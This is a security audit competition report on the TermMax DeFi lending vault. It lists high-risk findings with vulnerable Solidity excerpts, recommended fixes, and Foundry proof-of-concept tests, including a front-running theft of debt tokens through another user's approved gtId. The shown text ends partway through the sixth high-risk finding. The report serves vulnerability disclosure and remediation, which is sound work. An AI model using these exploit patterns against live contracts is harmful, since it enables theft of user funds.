CANTINA

TermMax
Competition

March 14, 2025

Contents

1 Introduction **2**
1.1 About Cantina . . . 2
1.2 Disclaimer . . . 2
1.3 Risk assessment . . . 2
1.3.1 Severity Classification . . . 2

2 Security Review Summary **3**

3 Findings **4**
3.1 High Risk . . . 4
3.1.1 An attacker can steal debt tokens by using the user's `gtID` . . . 4
3.1.2 The `totalFt` and `accretingPrincipal` are updated incorrectly in `withdrawAssets` . . . 5
3.1.3 Incorrect ft reserve used in `_buyToken` leads to incorrect ft calculation and completely breaks protocol logic . . . 7
3.1.4 `_badDebtMapping[collateral]` can be unintentionally rewrite . . . 9
3.1.5 Withdrawing from the vault may lead to a loss if the order balances are less than the total amount withdrawn . . . 10
3.1.6 Incorrect Asset Redemption in Vault Withdrawal Leading to Loss of Funds . . . 12
3.1.7 Maturity Linked List breaks if you add an order with the `maturity = _recentestMaturity` . . . 15
3.1.8 Apr can be rounded down for small `_annualizedInterest` in case of low decimals `debtToken` . . . 17
3.2 Medium Risk . . . 18
3.2.1 Incorrect Interest Calculation Due to Performance Fee Rate Change . . . 18
3.2.2 Weak Address Salt in `VaultFactory::createVault` Enables DoS and Hijacking of the `Curator` + `Allocator` Roles . . . 20
3.2.3 Attempting to Increase the Performance Fee Rate Will Lock It for Approximately 55 Years . . . 22
3.2.4 Missing Market Whitelist Modifier in `borrowTokenFromGt` . . . 23
3.2.5 Flawed Market Whitelisting Timelock in TermMaxVault Enables Unfair Competition . . . 24
3.2.6 Orders created through vault cannot be paused . . . 25
3.2.7 The `totalAssets()` calculation may lead to unfair situations . . . 27
3.2.8 Redeem fee is incorrectly factored into bad debt mapping due to incorrect logic . . . 29
3.2.9 Collateral transfers to `msg.sender` instead of receiver in `TermMaxMarket::redeem` . . . 31
3.2.10 Inconsistent FT Reserve Check Leading to Fee Payment Failures . . . 32
3.2.11 Unvalidated Curve Cuts Leading to Arbitrage . . . 33

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Term Structure is a next-generation loan AMM offering one-click looping, range orders, fixed/variable rates, and customizable pricing curves.

From Feb 6th to Feb 23rd Cantina hosted a competition based on TermMax. The participants identified a total of **28** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 8
- Medium Risk: 11
- Low Risk: 8
- Gas Optimizations: 0
- Informational: 1

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 An attacker can steal debt tokens by using the user's `gtID`

Submitted by Nyksx

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Finding Description: Users can borrow debt tokens by using their existing gtId (borrow position) with the `TermMaxRouter.borrowTokenFromGt` function.

```
function borrowTokenFromGt(address recipient, ITermMaxMarket market, uint256 gtId, uint256 borrowAmt) external {
    (IERC20 ft, IERC20 xt,,,) = market.tokens();

    uint256 issueFtFeeRatio = market.issueFtFeeRatio();
    uint128 debtAmt =
        ((borrowAmt * Constants.DECIMAL_BASE) / (Constants.DECIMAL_BASE - issueFtFeeRatio)).toUint128();


    uint256 ftOutAmt = market.issueFtByExistedGt(address(this), debtAmt, gtId);
    // ftOutAmt may be smaller than borrowAmt due to accuracy loss
    borrowAmt = borrowAmt.min(ftOutAmt);
    xt.safeTransferFrom(msg.sender, address(this), borrowAmt);

    ft.safeIncreaseAllowance(address(market), borrowAmt);
    xt.safeIncreaseAllowance(address(market), borrowAmt);
    market.burn(recipient, borrowAmt);

    emit Borrow(market, gtId, msg.sender, recipient, 0, debtAmt, borrowAmt.toUint128());
}
```

The function borrows the FT token from an existing GT position, transfers the XT token from the user, and then calls the `market.burn` function to burn the FT and XT tokens in order to send the debt token to the recipient. The user needs to approve their GT ID to the router, as the caller of the `gt.augmentDebt` function will be the router contract.

The problem is that after the user's approval, an attacker can front-run the user's borrowTokenFromGt call and invoke the function himself by altering the recipient address. As a result, the attacker can use the user's gtId to steal debt tokens just by transferring XT tokens.

Impact Explanation: An attacker can steal users' debt tokens by using their `gtID`s.

Proof of Concept:

- `Router.t.sol`:

```
function testBorrowTokenFromGt() public {
    address attacker = vm.randomAddress();

    // Attacker needs to have XT token
    vm.startPrank(attacker);
    res.debt.mint(attacker, 100e8);
    res.debt.approve(address(res.market), 100e8);
    res.market.mint(attacker, 100e8);
    vm.stopPrank();

    vm.startPrank(sender);
    uint256 collInAmt = 1e18;

    (uint256 gtId,) = LoanUtils.fastMintGt(res, sender, 100e8, collInAmt);

    uint128 borrowAmt = 80e8;

    res.debt.mint(sender, borrowAmt);
    res.debt.approve(address(res.market), borrowAmt);
    res.market.mint(sender, borrowAmt);

    // User approves router to call the borrowTokenFromGt function
    res.xt.approve(address(res.router), borrowAmt);
    res.gt.approve(address(res.router), gtId);
    vm.stopPrank();

    // Attacker frontruns it and calls the borrowTokenFromGt to borrow using the users gtId
    vm.startPrank(attacker);
    console.log("Attackers debt token balance before the call", res.debt.balanceOf(attacker));
    res.xt.approve(address(res.router), borrowAmt);
    res.router.borrowTokenFromGt(attacker, res.market, gtId, borrowAmt);

    console.log("Attackers debt token balance after the call", res.debt.balanceOf(attacker));
    vm.stopPrank();
}
```

```
Logs:
Attackers debt token balance before the call 0
Attackers debt token balance after the call 8000000000
```

Recommendation: Verify whether the msg.sender is the owner of the gtId in the `borrowTokenFromGt` function.

3.1.2 The `totalFt` and `accretingPrincipal` are updated incorrectly in `withdrawAssets`

Submitted by Nyksx, also found by BengalCatBalu, Joshuajee, mohitisimmortal, 0xgh0st and retsoko

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `_totalFt` and `_accretingPrincipal` values were being decremented twice when `assetBalance >= amount`, leading to incorrect accounting of total assets.

Finding Description: When the user withdraws from the vault, the vault will call the `OrderManager.withdrawAssets()` function. If the balance exceeds the withdrawal amount, the function transfers the funds directly and updates the parameters. If not, the function attempts to redeem the market or burn tokens from the order to acquire the funds, sends the funds and updates the parameters. The issue arises when the contract balance is sufficient for withdrawal, as it updates the `_totalFt` and `_accretingPrincipal` twice. First, it updates after the tokens are sent to the recipient:

```
if (assetBalance >= amount) {
    asset.safeTransfer(recipient, amount);
    //@audit 1st time
    _totalFt -= amount;
    _accretingPrincipal -= amount;
}
```

Secondly, it updates the same parameters at the end of the function:

```
    if (amountLeft > 0) {
        uint256 maxWithdraw = amount - amountLeft;
        revert InsufficientFunds(maxWithdraw, amount);
    }
}
_totalFt -= amount; //@audit second time
_accretingPrincipal -= amount;
```

Impact Explanation: After every withdrawal, users share will be worth less due to the wrong totalAssets value.

Proof of Concept:

- `Vault.t.sol`:

```
function testwithdrawAssets() public {
    vm.warp(currentTime + 2 days);
    buyXt(48.219178e8, 1000e8);

    vm.warp(currentTime + 3 days);
    address lper2 = vm.randomAddress();
    uint256 amount2 = 10000e8;
    res.debt.mint(lper2, amount2);
    vm.startPrank(lper2);
    res.debt.approve(address(vault), amount2);
    vault.deposit(amount2, lper2);
    vm.stopPrank();

    address borrower = vm.randomAddress();
    vm.startPrank(borrower);
    LoanUtils.fastMintGt(res, borrower, 1000e8, 1e18);
    vm.stopPrank();

    vm.warp(currentTime + 92 days);

    uint256 propotion = (res.ft.balanceOf(address(res.order)) * Constants.DECIMAL_BASE_SQ)
        / (res.ft.totalSupply() - res.ft.balanceOf(address(res.market)));

    uint256 tokenOut = (res.debt.balanceOf(address(res.market)) * propotion) /
    ↪  Constants.DECIMAL_BASE_SQ;
    uint256 badDebt = res.ft.balanceOf(address(res.order)) - tokenOut;
    uint256 delivered = (propotion * 1e18) / Constants.DECIMAL_BASE_SQ;

    vm.startPrank(lper2);
    vault.redeem(1000e8, lper2, lper2);
    vm.stopPrank();

    assertEq(vault.badDebtMapping(address(res.collateral)), badDebt);
    assertEq(res.collateral.balanceOf(address(vault)), delivered);


    uint256 totalFtBefore = vault.totalFt();
    console.log("Before TotalFT", totalFtBefore);
    console.log("Before Total Assets", vault.totalAssets());
    vm.startPrank(lper2);
    uint256 withdrawAmount = 1e8;
    vault.withdraw(withdrawAmount, lper2, lper2);
    console.log("Withdraw Amount", withdrawAmount);
    uint256 totalFtAfter = vault.totalFt();
    console.log("After TotalFT", totalFtAfter);
    console.log("After Total Assets", vault.totalAssets());
    console.log("Difference", totalFtBefore - totalFtAfter);
    vm.stopPrank();
}
```

```
Logs:
Before TotalFT 1904578075654
Before Total Assets 1904578075653
Withdraw Amount 100000000
After TotalFT 1904378075654
After Total Assets 1904378075653
Difference 200000000
```

Recommendation:

```
  function withdrawAssets(IERC20 asset, address recipient, uint256 amount) external override onlyProxy {
      _accruedInterest();
      uint256 amountLeft = amount;
      uint256 assetBalance = asset.balanceOf(address(this));
      if (assetBalance >= amount) {
              asset.safeTransfer(recipient, amount);
              //@audit 1st time
              _totalFt -= amount;
              _accretingPrincipal -= amount;
      } else {
          amountLeft -= assetBalance;
          uint256 length = _withdrawQueue.length;
          // withdraw from orders
          uint256 i;
          while (length > 0 && i < length) {
              // ... withdrawal logic ...
          }
          if (amountLeft > 0) {
              uint256 maxWithdraw = amount - amountLeft;
              revert InsufficientFunds(maxWithdraw, amount);
          }
+         _totalFt -= amount;
+         _accretingPrincipal -= amount;
      }
-     _totalFt -= amount;
-     _accretingPrincipal -= amount;
  }
```

3.1.3 Incorrect ft reserve used in `_buyToken` leads to incorrect ft calculation and completely breaks protocol logic

Submitted by BengalCatBalu, also found by 0xtincion

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: Let's consider the internal function _buyToken (The same issue is in the `_buyExactToken` function, in the report I describe for `_buyToken`).

```
function _buyToken(
    address caller,
    address recipient,
    uint256 debtTokenAmtIn,
    uint256 minTokenOut,
    OrderConfig memory config,
    function(uint, uint, uint, OrderConfig memory) internal view returns (uint, uint, IERC20) func
) internal returns (uint256, uint256) {
    uint256 daysToMaturity = _daysToMaturity();
    uint256 oriXtReserve = getTransientXtReserve();

    (uint256 tokenAmtOut, uint256 feeAmt, IERC20 tokenOut) =
        func(daysToMaturity, oriXtReserve, debtTokenAmtIn, config);

    uint256 netOut = tokenAmtOut + debtTokenAmtIn;
    if (netOut < minTokenOut) revert UnexpectedAmount(minTokenOut, netOut);

    debtToken.safeTransferFrom(caller, address(this), debtTokenAmtIn);

    debtToken.safeIncreaseAllowance(address(market), debtTokenAmtIn);
    market.mint(address(this), debtTokenAmtIn);
    if (tokenOut == ft) {
        uint256 ftReserve = getTransientFtReserve();
        console.log("HERE 4");
        if (ftReserve < netOut + feeAmt) _issueFtToSelf(ftReserve, netOut + feeAmt, config);
    }

    tokenOut.safeTransfer(recipient, netOut);

    return (netOut, feeAmt);
}
```

This function is called for example during `swapExactTokenToToken` → `_buyFt` → `_buyToken` calls. Specifically I am most interested in the point about requesting ft tokens.

```
market.mint(address(this), debtTokenAmtIn);
if (tokenOut == ft) {
    uint256 ftReserve = getTransientFtReserve();
    console.log("HERE 4");
    if (ftReserve < netOut + feeAmt) _issueFtToSelf(ftReserve, netOut + feeAmt, config);
}
```

What is the point of this point - it assumes that if ft on a contract is not enough, you need to borrow extra to complete the swap. However, `ftReserves` does not correctly display the current balance of ft tokens. `ftReserves` is a variable loaded from `transientStorage` - it is saved there at the beginning of the swap:

```
setTransientFtReserve(ft.balanceOf(address(this)));
```

However, as we can see, right before the if is this line:

```
market.mint(address(this), debtTokenAmtIn);
```

The `market.mint` function call prints new ft tokens:

```
function mint(address recipient, uint256 debtTokenAmt) external override nonReentrant isOpen {
    _mint(msg.sender, recipient, debtTokenAmt);
}

function _mint(address caller, address recipient, uint256 debtTokenAmt) internal {
    debtToken.safeTransferFrom(caller, address(this), debtTokenAmt);

    ft.mint(recipient, debtTokenAmt);
    xt.mint(recipient, debtTokenAmt);

    emit Mint(caller, recipient, debtTokenAmt);
}
```

That is, the real ft balance of the contract will be `ftReserves + debtTokenAmtIn`.

Impact Explanation:

- First, if `ftReserves < netOut + feeAmt` – unnecessary debt will be taken on the user (`_issueFt` takes new ft in gt).
- Second - `_issueFtToSelf` updates `transientStorage` at the end of execution, indicating the current balance of the contract - but this balance is not `balanceOf`, but `targetFtReserve` - that is, an invalid value.

```
function _issueFtToSelf(uint256 ftReserve, uint256 targetFtReserve, OrderConfig memory config) internal {
    if (config.gtId == 0) revert CantNotIssueFtWithoutGt();
    uint256 ftAmtToIssue = ((targetFtReserve - ftReserve) * Constants.DECIMAL_BASE)
        / (Constants.DECIMAL_BASE - market.issueFtFeeRatio());
    market.issueFtByExistedGt(address(this), (ftAmtToIssue).toUint128(), config.gtId);
    setTransientFtReserve(targetFtReserve);
}
```

An invalid value in tstore will further cause the invalid value to be passed to the callback - at least this is bad because this callback is used in Vault and Vault performs its calculations depending on `deltaFt`.

```
if (address(_orderConfig.swapTrigger) != address(0)) {
    int256 deltaFt = ft.balanceOf(address(this)).toInt256() - getTransientFtReserve().toInt256();
    int256 deltaXt = xt.balanceOf(address(this)).toInt256() - getTransientXtReserve().toInt256();
    _orderConfig.swapTrigger.swapCallback(deltaFt, deltaXt);
}
```

Proof of Concept: To see that the values are indeed incorrect, paste these two debug outputs into this location in the `_buyToken` function:

```
if (tokenOut == ft) {
    uint256 ftReserve = getTransientFtReserve();
    console.log('Reserves', ftReserve);
    console.log('Real Balance', ft.balanceOf(address(this)));
    console.log('HERE 4');
    if (ftReserve < netOut + feeAmt) _issueFtToSelf(ftReserve, netOut + feeAmt, config);
}
```

And then run the tests `forge test --mt testSellFt -vv`:

Recomendation:

```
if (tokenOut == ft) {
    uint256 ftReserve = getTransientFtReserve();
    console.log("Reserves", ftReserve);
    console.log("Real Balance", ft.balanceOf(address(this)));
    console.log("HERE 4");
    if (ftReserve < netOut + feeAmt) _issueFtToSelf(ftReserve, netOut + feeAmt, config);
}
market.mint(address(this), debtTokenAmtIn);
```

Term Structure: The purpose of the temporary ft reserve is to calculate the change in ft before and after the transaction. The change in ft occurs after the calculation and will not break the contract.

This may cause the debt to increase. I think this is just a low-level problem, because ft can be used to repay the debt, and the debt is unchanged in general.

3.1.4 `_badDebtMapping[collateral]` can be unintentionally rewrite

Submitted by BengalCatBalu

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: Let's consider the function `redeemFromMarket`:

```
function _redeemFromMarket(address order, OrderInfo memory orderInfo) internal returns (uint256 totalRedeem) {
    uint256 ftReserve = orderInfo.ft.balanceOf(order);
    ITermMaxOrder(order).withdrawAssets(orderInfo.ft, address(this), ftReserve);
    orderInfo.ft.safeIncreaseAllowance(address(orderInfo.market), ftReserve);
    totalRedeem = orderInfo.market.redeem(ftReserve, address(this));
    if (totalRedeem < ftReserve) {
        // storage bad debt
        (,,, address collateral,) = orderInfo.market.tokens();
        _badDebtMapping[collateral] = ftReserve - totalRedeem;
    }
    emit RedeemOrder(msg.sender, order, ftReserve.toUint128(), totalRedeem.toUint128());

    delete _orderMapping[order];
    _supplyQueue.remove(_supplyQueue.indexOf(order));
    _withdrawQueue.remove(_withdrawQueue.indexOf(order));
}
```

The key thing we can notice here is that some execution of this function may result in the `_badDebtMapping` variable being overwritten. The key error here is that = is used instead of +=.

All orders that are created using the protocol are bound to some market. Market is a set of collateral, `debtToken`, ft, xt, gt tokens. However, obviously, different marts can have the same collateral if the `debtToken` is different.

Then, obviously, if this function is executed for two two orders with marquees that have the same collateral (maybe they will be orders of the same marquee) - in this case, obviously, the second transaction will overwrite the variable storing.

Let's see how this affects users. There is a function `dealBadDebt` - which just withdraws the funds of bad debts.

```
function dealBadDebt(address recipient, address collaretal, uint256 amount)
    external
    onlyProxy
    returns (uint256 collateralOut)
{
    _accruedInterest();
    uint256 badDebtAmt = _badDebtMapping[collaretal];
    if (badDebtAmt == 0) revert NoBadDebt(collaretal);
    if (amount > badDebtAmt) revert InsufficientFunds(badDebtAmt, amount);
    uint256 collateralBalance = IERC20(collaretal).balanceOf(address(this));
    collateralOut = (amount * collateralBalance) / badDebtAmt;
    IERC20(collaretal).safeTransfer(recipient, collateralOut);
    _badDebtMapping[collaretal] -= amount;
    _accretingPrincipal -= amount;
    _totalFt -= amount;
}
```

And we see that the amount of funds received is directly related to the maximum in badDebtAmt - that is, users lose funds as a result of such overwriting.

Impact Explanation: High - user funds losts.

Likelihood Explanation: I think the probability is also high, since the chances of the collateral being overwritten are very high.

- First of all - collateral is the same for different orders from the same marketplace, as well as for different orders from different marketplaces but with common collateral.
- Secondly, the probability that `totalRedeem < ftReserve` is quite high as there is a withdrawal fee which is likely to make this condition true more often than not.

Recomendation: Change to +=.

3.1.5 Withdrawing from the vault may lead to a loss if the order balances are less than the total amount withdrawn

Submitted by Nyksx

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Finding Description: When the user withdraws, the `withdrawAssets` function calls the _burnFromOrder() if the order is not mature yet.

```
else if (block.timestamp < orderInfo.maturity) {
    // withraw ft and xt from order to burn
    uint256 maxWithdraw = orderInfo.xt.balanceOf(order).min(orderInfo.ft.balanceOf(order));


    if (maxWithdraw < amountLeft) {
        amountLeft -= maxWithdraw;
        _burnFromOrder(ITermMaxOrder(order), orderInfo, maxWithdraw);
        //@audit-issue it burns from the order but didnt transfer
        ++i;
    } else {
        _burnFromOrder(ITermMaxOrder(order), orderInfo, amountLeft);
        asset.safeTransfer(recipient, amountLeft);
        amountLeft = 0;
        break;
    }
} else {
    // ignore orders that are in liquidation window
    ++i;
}
```

The function can only burn an amount equal to the minimum balance of the XT or FT token that the order has. If the withdrawal amount exceeds the maximum burnable amount, the function updates the `amountLeft`, burns the necessary amount from the current order, and then moves on to the next order to fulfill the withdrawal.

The problem is that the function updates the `amountLeft` but does not transfer the `maxWithdraw` amount of tokens to the user after burning from the order. When it moves on to the next order, it only transfers `amountLeft - maxWithdraw` to the user.

Impact Explanation: If the balance of orders XT or FT is less than the user's withdrawal amount, the user will incur a loss of funds.

Proof of Concept:

```
function testRedeemWhenTheXtBalanceLessThanWithdrawalAmount() public {

    vm.warp(currentTime + 3 days);
    address lper2 = vm.randomAddress();
    uint256 amount2 = 10000e8;
    res.debt.mint(lper2, amount2);
    vm.startPrank(lper2);
    res.debt.approve(address(vault), amount2);
    uint256 shares = vault.deposit(amount2, lper2);
    vm.stopPrank();

    vm.startPrank(curator);
    address order2 = address(vault.createOrder(market2, maxCapacity, 0, orderConfig.curveCuts));
    uint256[] memory indexes = new uint256[](2);
    indexes[0] = 1;
    indexes[1] = 0;
    vault.updateSupplyQueue(indexes);

    res.debt.mint(curator, 10000e8);
    res.debt.approve(address(vault), 10000e8);
    vault.deposit(10000e8, curator);

    vm.stopPrank();

    vm.warp(currentTime + 4 days);


    // Buy some XT so the XT balance will be less than the withdrawal amount
    {
        address taker = vm.randomAddress();
        uint128 tokenAmtIn = 1000e8;
        res.debt.mint(taker, tokenAmtIn);
        vm.startPrank(taker);
        res.debt.approve(address(res.order), tokenAmtIn);
        res.order.swapExactTokenToToken(res.debt, res.xt, taker, tokenAmtIn, 12000e8);
        vm.stopPrank();
    }

    // User withdraws
    vm.startPrank(lper2);
    uint256 userDebtTokenBalaceBefore = res.debt.balanceOf(lper2);
    console.log("users shares before",vault.balanceOf(lper2));
    console.log("user debt token balance before",userDebtTokenBalaceBefore);
    vault.redeem(shares,lper2,lper2);
    uint256 userDebtTokenBalaceAfter = res.debt.balanceOf(lper2);
    console.log("users shares after",vault.balanceOf(lper2));
    console.log("user debt token balance after",userDebtTokenBalaceAfter);
    vm.stopPrank();
}
```

Even if the user burns `1e12` shares, they will receive only 1e11 debt tokens in return:

```
Logs:
  users shares before 1000000000000
  user debt token balance before 0
  users shares after 0
  user debt token balance after 100000000000
```

Recommendation:

```
  if (maxWithdraw < amountLeft) {
      amountLeft -= maxWithdraw;
      _burnFromOrder(ITermMaxOrder(order), orderInfo, maxWithdraw);
+     asset.safeTransfer(recipient, maxWithdraw);
      ++i;
  } else {
      _burnFromOrder(ITermMaxOrder(order), orderInfo, amountLeft);
      asset.safeTransfer(recipient, amountLeft);
      amountLeft = 0;
      break;
  }
```

3.1.6 Incorrect Asset Redemption in Vault Withdrawal Leading to Loss of Funds

Submitted by mohitisimmortal, also found by Nyksx and Joshuajee

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: In the `TermMaxVault` withdrawal functionality when the vault's asset balance is insufficient to cover the withdrawal amount, it gets funds from order but only transfers the `amountLeft` (`amountLeft -= assetBalance`) instead of actual requested amount. However, the shares burned correspond to the full withdrawal amount, leaving the user underpaid and effectively losing assets.

Finding Description: When a user withdraws funds from the vault and the vault's immediate asset balance is less than the withdrawal request, the withdrawal function enters the else branch of `OrderManager.sol::withdrawAssets()`. Instead of transferring the entire requested amount, it subtracts the vault's balance from the requested amount, and only transfers the redeemed shortfall from the orders. Consequently, the user receives less than expected. Moreover, the vault burns shares for the full withdrawal amount, causing the user's position to be reduced improperly, and further withdrawal attempts fail with `ERC4626ExceededMaxWithdraw`.

Working of `OrderManager.sol::withdrawAssets()`:

1. First, the function checks if the vault's own asset balance is sufficient to cover the withdrawal. If yes, it transfers the amount directly.
2. If Not: go to `else` condition:
   - It calculates `amountLeft = amount - assetBalance` (the shortfall).
   - Then, it iterates over the _withdrawQueue to redeem assets from orders to cover the shortfall.
   - Then transfers those `amountLeft` to users.

In `OrderManager.sol::withdrawAssets()`:

```
220@>     amountLeft -= assetBalance;

234       } else {
235@>       asset.safeTransfer(recipient, amountLeft);
236         amountLeft = 0;
237         break;

247       } else {
248         _burnFromOrder(ITermMaxOrder(order), orderInfo, amountLeft);
249@>       asset.safeTransfer(recipient, amountLeft);
250         amountLeft = 0;
251         break;
252       }
```

It never transfer those assetBalance amount but subtract it and then only transfers `amountLeft`.

Impact Explanation: High:

```
- Underpayment: Users will receive only the `shortfall (requested amount minus vault's balance)` rather than
↪  the full requested withdrawal amount.

- Asset Loss: Since shares corresponding to the full withdrawal are burned, users permanently loose the
↪  untransferred portion.

- Subsequent Withdrawal Failure: The user's share balance is reduced to reflect the full withdrawal, making
↪  future withdrawal attempts fail due to insufficient redeemable assets. Transaction will revert with
↪  error-`ERC4626ExceededMaxWithdraw`.
```

Likelihood Explanation: High - This bug occurs in the common withdrawal path when the vault does not hold enough assets and must redeem from orders. Since fund withdrawals are a core operation, the likelihood of triggering this bug in normal operations is high.

Proof of Concept:

1. Add test into repo's test folder (`Shortfall.t.sol`), most of the setup is mimcked from Protocol's `test/TermMaxTestBase.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;

import "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {DeployUtils} from "./utils/DeployUtils.sol";
import {JSONLoader} from "./utils/JSONLoader.sol";
import {StateChecker} from "./utils/StateChecker.sol";
import {SwapUtils} from "./utils/SwapUtils.sol";
import {LoanUtils} from "./utils/LoanUtils.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import {IFlashLoanReceiver} from "contracts/IFlashLoanReceiver.sol";
import {ITermMaxMarket, TermMaxMarket, Constants, MarketEvents, MarketErrors} from
↪  "contracts/TermMaxMarket.sol";
import {ITermMaxOrder, TermMaxOrder, ISwapCallback, OrderEvents, OrderErrors} from
↪  "contracts/TermMaxOrder.sol";
import {MockERC20, ERC20} from "contracts/test/MockERC20.sol";
import {MockPriceFeed} from "contracts/test/MockPriceFeed.sol";
import {TermMaxVault} from "contracts/vault/TermMaxVault.sol";
import {VaultErrors, VaultEvents, ITermMaxVault} from "contracts/vault/TermMaxVault.sol";
import {OrderManager} from "contracts/vault/OrderManager.sol";
import {VaultConstants} from "contracts/lib/VaultConstants.sol";
import {PendingAddress, PendingUint192} from "contracts/lib/PendingLib.sol";
import {MockSwapAdapter} from "contracts/test/MockSwapAdapter.sol";
import {SwapUnit, ISwapAdapter} from "contracts/router/ISwapAdapter.sol";
import {RouterErrors, RouterEvents, TermMaxRouter} from "contracts/router/TermMaxRouter.sol";
import "contracts/storage/TermMaxStorage.sol";

contract Shortfall is Test {
    using JSONLoader for *;
    using SafeCast for *;
    address user1 = vm.randomAddress();
    address user2 = vm.randomAddress();

    DeployUtils.Res res;

    OrderConfig orderConfig;
    MarketConfig marketConfig;

    address admin = vm.randomAddress();
    address curator = vm.randomAddress();
    address allocator = vm.randomAddress();
    address guardian = vm.randomAddress();
    address treasurer = vm.randomAddress();
    string testdata;

    ITermMaxVault vault;

    uint256 timelock = 86400;
    uint256 maxCapacity = 1000000e18;
    uint64 performanceFeeRate = 0.5e8;

    ITermMaxMarket market2;
```

```
uint256 currentTime;
uint32 maxLtv = 0.89e8;
uint32 liquidationLtv = 0.9e8;
VaultInitialParams initialParams;

address pool = vm.randomAddress();

MockSwapAdapter adapter;

function setUp() public {
    vm.startPrank(admin);
    testdata = vm.readFile(string.concat(vm.projectRoot(), "/test/testdata/testdata.json"));

    currentTime = vm.parseUint(vm.parseJsonString(testdata, ".currentTime"));
    vm.warp(currentTime);

    marketConfig = JSONLoader.getMarketConfigFromJson(treasurer, testdata, ".marketConfig");
    orderConfig = JSONLoader.getOrderConfigFromJson(testdata, ".orderConfig");
    marketConfig.maturity = uint64(currentTime + 90 days);
    res = DeployUtils.deployMockMarket(admin, marketConfig, maxLtv, liquidationLtv);
    MarketConfig memory marketConfig2 = JSONLoader.getMarketConfigFromJson(treasurer, testdata,
    ↪  ".marketConfig");
    marketConfig2.maturity = uint64(currentTime + 180 days);

    market2 = ITermMaxMarket(
        res.factory.createMarket(
            DeployUtils.GT_ERC20,
            MarketInitialParams({
                collateral: address(res.collateral),
                debtToken: res.debt,
                admin: admin,
                gtImplementation: address(0),
                marketConfig: marketConfig2,
                loanConfig: LoanConfig({
                    maxLtv: maxLtv,
                    liquidationLtv: liquidationLtv,
                    liquidatable: true,
                    oracle: res.oracle
                }),
                gtInitalParams: abi.encode(type(uint256).max),
                tokenName: "test",
                tokenSymbol: "test"
            }),
            0
        )
    );

    // update oracle
    res.collateralOracle.updateRoundData(
        JSONLoader.getRoundDataFromJson(testdata, ".priceData.ETH_2000_DAI_1.eth")
    );
    res.debtOracle.updateRoundData(JSONLoader.getRoundDataFromJson(testdata,
    ↪  ".priceData.ETH_2000_DAI_1.dai"));

    initialParams = VaultInitialParams(
        admin,
        curator,
        timelock,
        res.debt,
        maxCapacity,
        "Vault-DAI",
        "Vault-DAI",
        performanceFeeRate
    );

    res.vault = DeployUtils.deployVault(initialParams);
    vm.stopPrank();

    vm.startPrank(user1);
    res.debt.mint(user1, 1000e8);
    res.debt.approve(address(res.vault), 1000e8);
    res.vault.deposit(1000e8, user1);
    vm.stopPrank();

    vm.startPrank(admin);
```

```
        res.vault.submitGuardian(guardian);
        res.vault.setIsAllocator(allocator, true);

        res.vault.submitMarket(address(res.market), true);
        vm.warp(currentTime + timelock + 1);
        res.vault.acceptMarket(address(res.market));
        vm.warp(currentTime);

        res.order = res.vault.createOrder(res.market, maxCapacity, 0, orderConfig.curveCuts);

        res.router = DeployUtils.deployRouter(admin);
        res.router.setMarketWhitelist(address(res.market), true);
        adapter = new MockSwapAdapter(pool);

        res.router.setAdapterWhitelist(address(adapter), true);
        vm.stopPrank();
    }

    function testFail_WithdrawShortfallBug() public {
        vm.startPrank(user2);
        res.debt.mint(user2, 1200e8);
        res.debt.approve(address(res.vault), 1200e8);

        // User2 deposits 1200 tokens.
        res.vault.deposit(1200e8, user2);
        vm.stopPrank();

        uint256 requestWithdraw = 1200e8; // user2 requests to withdraw 1200 tokens
        // Perform withdrawal as user.
        vm.prank(user2);
        res.vault.withdraw(requestWithdraw, user2, user2);

        console.log("User attempted to withdraw:", requestWithdraw / 1e8);
        console.log("Withdrawn amount returned:", res.debt.balanceOf(user2) / 1e8);

        // Even user only gets 200 tokens but, vault burned shares for the full 1200 tokens
        // Now, if the user attempts another withdrawal to get their leftout tokens(1200-200 = 1000
        ↪  leftout tokens), it should revert. Effectively loose their 1000 tokens.
        vm.prank(user2);
        res.vault.withdraw(100e8, user2, user2);
    }
}
```

2. Run `forge test Shortfall.t.sol -vv`.
3. Output:

```
[PASS] testFail_WithdrawShortfallBug() (gas: 602027)
Logs:
User attempted to withdraw: 1200
Withdrawn amount returned: 200
```

- The test logs show that the `user receives significantly less tokens than his requested amount`, and subsequent withdrawal attempts revert with `ERC4626ExceededMaxWithdraw`.
- To see that `ERC4626ExceededMaxWithdraw` error, run test with increasing verbosity: `forge test Shortfall.t.sol -vvvv`:

```
